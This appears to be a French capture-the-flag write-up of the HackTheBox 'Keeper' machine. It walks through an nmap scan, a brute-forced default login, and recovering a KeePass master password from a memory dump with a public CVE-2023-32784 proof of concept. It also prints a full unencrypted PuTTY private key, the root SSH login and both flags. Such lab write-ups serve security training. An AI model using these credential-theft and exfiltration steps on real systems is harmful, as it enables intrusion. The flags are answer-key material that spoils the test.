Utilisation de nmap pour scanner les ports :
TARGET=10.10.11.227
OUT=keeper_scan
nmap -sV -sC -v -oN "$OUT" "$TARGET"
Résultat du scan :
# Nmap 7.93 scan initiated Mon Jan 8 19:01:59 2024 as: nmap -sV -sC -v -oN keeper 10.10.11.227
Nmap scan report for 10.10.11.227
Host is up (1.4s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_ 256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jan 8 19:02:40 2024 -- 1 IP address (1 host up) scanned in 40.50 seconds
Ajoutez le domaine et les sous-domaines à /etc/hosts. On découvre un formulaire de connexion et la vertion RT 4.4.4.
La recherche de vulnérabilités pour RT 4.4.4 ne donne rien d'exploitable directement ; on tente donc une attaque par force brute sur le formulaire de connexion.
L'identifiant trouvé est root et le mot de passe est password.
Une fois connecté, on trouve une note de l'utilisateur lnorgaard indiquant que son mot de passe initial est Welcome2023!.
Connexion SSH à la machine cible :
ssh lnorgaard@10.10.11.227
# mot de passe : Welcome2023!
On récupère le flag utilisateur :
f4ed517f811635fb6ca7259a51cebe5e
Vérification des droits sudo :
sudo -l
Aucunn droit sudo exploitable.
On téléverse linpeas pour effectuer une collecte d'informations.
Dans le répertoire utilisateur, on trouve une archive RT30000.zip.
On la transfère en local via HTTP :
python3 -m http.server 8000
# puis depuis la machine locale :
wget http://10.10.11.227:8000/RT30000.zip
Après extraction, on obtient un fichier .dmp. Un fichier dmp est généré par une erreur système.
En recherchant dmp exploit, on trouve la vulnérabilité CVE-2023-32784.
keepass-dump-masterkey
git clone https://github.com/matro7sh/keepass-dump-masterkey.git
cd keepass-dump-masterkey
python3 poc.py ../KeePassDumpFull.dmp
Les caractères remplacés par ● sont manquants ; le deuxième caractère est une supposition. Certains write-ups affirment que ● ressemble à un « o », mais il ne faut pas se fier à cette approximation.
Après recherche, le mot de passe est : rødgrød med fløde.
Téléchargement du gestionnaire de mots de passe KeepassXC pour ouvrir passcodes.kdbx :
sudo apt update
sudo apt install -y keepassxc
keepassxc passcodes.kdbx
Copiez la note dans 123.txt :
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
Téléchargez l'outil Putty et convertissez la clé au format OpenSSH :
sudo apt install -y putty-tools
puttygen 123.txt -O private-openssh -o id_rsa_keeper
chmod 600 id_rsa_keeper
Connexion SSH avec la clé privée :
ssh -i id_rsa_keeper root@10.10.11.227
Flag root :
13b55d7528b666b3dc00ce2caf264ffe